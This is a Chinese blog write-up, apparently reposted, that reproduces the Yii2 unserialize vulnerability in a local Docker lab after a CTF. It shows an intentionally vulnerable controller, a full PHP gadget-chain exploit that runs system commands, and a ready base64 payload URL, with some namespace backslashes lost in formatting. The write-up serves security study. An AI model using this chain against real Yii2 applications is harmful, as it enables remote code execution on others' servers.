zoukankan      html  css  js  c++  java
  • Yii2 反序列化漏洞复现

    Yii2 反序列化漏洞复现

    前言

    • 之前红帽杯做题时碰到的,当时没细究,现在来本地搭建复现一下
    • 原理性的内容就不多说了,本文也只是为了记录一下我复现时候的过程,方便后面复习时用

    环境搭建

    • 本来想跟着网上大多数人的那种教程一样,直接从GitHub下载源码,然后docker-compose up安装,但是一直没能成功,后续想尝试着直接Windows上安装,但是过程过于复杂,所以最终还是选择直接docker安装

    docker 搭建Yii2环境

    • 直接docker searche yii2
    • 我选择的是schmunk42/yii2-app-basic,然后直接docker pull schmunk42/yii2-app-basic 拖取镜像即可
    • 启动镜像docker run -d -P schmunk42/yii2-app-basic
    • 访问ip:49153,出现以下界面即搭建完成

    漏洞复现

    创建一个存在漏洞的Action:/controllers/TestController.php

    • 代码如下:
    <?php
    
    namespace appcontrollers;
    
    use Yii;
    use yiiwebController;
    
    class TestController extends Controller
    {
    	public function actionTest(){
    		$name = Yii::$app->request->get('unserialize');
    		return unserialize(base64_decode($name));
    	}
    }
    

    • 利用网上给出的exp进行复现执行系统命令
    <?php
    namespace yii
    est{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'ls -al';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                $this->formatters['close'] = [new CreateAction, 'run'];
            }
        }
    }
    
    namespace yiidb{
        use FakerGenerator;
    
        class BatchQueryResult{
            private $_dataReader;
    
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yiidbBatchQueryResult));
    }
    ?>
    
    • 利用在线php代码执行平台运行生成payload
    /index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ
    

    参考链接

    • https://xz.aliyun.com/t/8307?page=5
    • https://anquan.baidu.com/article/1260
  • 相关阅读:
    laravel 验证码手机与提交手机的验证?
    微信公众平台开发——微信授权登录(OAuth2.0)
    个人网站可以申请微信授权登录吗
    个人网站可以申请微信授权登录吗?
    个体户微信公众号认证怎么做?无公章
    [微信开发] 没有组织机构代码证、公章怎么认证微信公众号?
    mysql中int、bigint、smallint 和 tinyint的区别详细介绍
    laravel5.6 QQ 第三方登录
    如何给网站的链接设置为绝对地址原文链接
    ArcGIS中文件共享锁定数据溢出 这个方法不行,建议用gdb,不要用mdb
  • 原文地址:https://www.cnblogs.com/Konmu/p/14793335.html
Copyright © 2011-2022 走看看